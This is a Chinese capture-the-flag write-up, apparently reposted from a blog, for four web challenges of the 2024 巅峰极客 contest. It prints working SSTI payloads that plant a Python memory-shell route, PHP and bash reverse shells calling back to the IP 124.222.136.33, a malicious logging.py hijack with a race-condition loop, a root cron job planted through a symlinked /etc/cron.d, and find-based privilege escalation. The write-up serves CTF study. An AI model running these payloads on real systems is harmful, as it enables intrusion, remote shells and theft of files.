【Web】巅峰极客2024 部门题解
目录EncirclingGame
GoldenHornKing
php_online
admin_Test
EncirclingGame
玩赢游戏就行https://i-blog.csdnimg.cn/direct/df8413bf775b488bbad87b602532c643.png
GoldenHornKing
利用点在传入的app
https://i-blog.csdnimg.cn/direct/e3c748cf51d5418082c27d186abc5e2f.png
https://i-blog.csdnimg.cn/direct/f8a69985a383452686ed88082c0e58de.png
可以打python内存马https://i-blog.csdnimg.cn/direct/c8e615a0b59f42e6a0f86b56c10d3830.png
/calc?calc_req=config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/flag",lambda:__import__("os").popen("cat /flag").read());',{"app":app}) 访问./flag
https://i-blog.csdnimg.cn/direct/f954d877529a4a7ab2d0302a83c1f67a.png
也可以挂载静态文件
/calc?calc_req=lipsum.__globals__['__builtins__'].exec("from fastapi.staticfiles import StaticFiles;app.mount('/static', StaticFiles(directory='/'), name='static')", {"app": app}) 访问./static/flag
https://i-blog.csdnimg.cn/direct/795d333927704d84a00b3184079fc860.png
php_online
先起一个id为aaaaaaa1的沙箱,反弹shell
<?php system('php -r \'$sock=fsockopen("124.222.136.33",1337);exec("sh <&3 >&3 2>&3");\'');?> 再起一个id为aaaaaaa2的沙箱,使得/sandbox/aaaaaaa2存在
再在aaaaaaa1环境里运行sh脚本条件竞争让init.py里import的恶意logging.py存在
https://i-blog.csdnimg.cn/direct/d74f6577604d4b96bc3991d35b5d920f.png
init.py 中的logging会优先应用同目录下的logging.py,而非logging三方库
https://i-blog.csdnimg.cn/direct/04ffd10b48a6401d913fa66382abfa3f.png
echo "__import__('os').popen('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1338 0>&1\"')" > /tmp/logging.py
echo "while true; do" >> /tmp/exp.sh
echo " cp /tmp/logging.py /sandbox/aaaaaaa2/logging.py" >> /tmp/exp.sh
echo "done" >> /tmp/exp.sh
chmod +x /tmp/exp.sh
sh /tmp/exp.sh 运行sh脚本后再进入aaaaaaa2环境,任意传一个<?php echo 1;?>触发sudo -u www-data python3 init.py
运行恶意logging.py后反弹shell拿到www-data权限
https://i-blog.csdnimg.cn/direct/028a1416e358467aa6ae4a164cf02e89.png
ps-aux https://i-blog.csdnimg.cn/direct/0de5197a183840f2ae88123468c6adfb.png
发现开着定时任务
开一个id为aaaaaaa3的沙箱
ln -s /etc/cron.d /sandbox/aaaaaaa3 再软链接定时任务目录
末了在aaaaaaa3的沙箱传入phpcode
* * * * * root cat /flag > /tmp/flag
# <?php sleep(1000);?> <?php sleep(1000);?>是为了制止rm *将/sandbox/aaaaaaa3/phpcode给瞬删,从而给定时任务运行充足的时间
https://i-blog.csdnimg.cn/direct/d68ce7d776f646ed92099178ea08e8db.png
https://i-blog.csdnimg.cn/direct/b436500d41ec406380023daa10f22783.png
admin_Test
扫出来./admin.html
https://i-blog.csdnimg.cn/direct/7b99500f0ca74213a6bb9413d1464c3e.png
访问./admin.html
https://i-blog.csdnimg.cn/direct/00ffe226bbdf46aca89ab0f1e569333c.png 可以上传文件,可以实行下令
下令部门fuzz出来的可用字符为t * . /,一眼实行临时文件. /t*/*
参考无字母数字rce(ctfshow web入门56)_过滤所有字母和数字的rce-CSDN博客
https://i-blog.csdnimg.cn/direct/bbd08b944a88432385a898aa55e6ac01.png
可以下令实行
https://i-blog.csdnimg.cn/direct/67a60b82f0a64abdb24b4041531f392b.png
但没法读/flag,考虑提权
可以打find提权
https://i-blog.csdnimg.cn/direct/42dc5d58fe364771a2e7bb088d7266e4.png
touch anyfile #必须要有这个文件
find anyfile -exec whoami \; https://i-blog.csdnimg.cn/direct/488aa481264848f8851c53689b385ebd.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]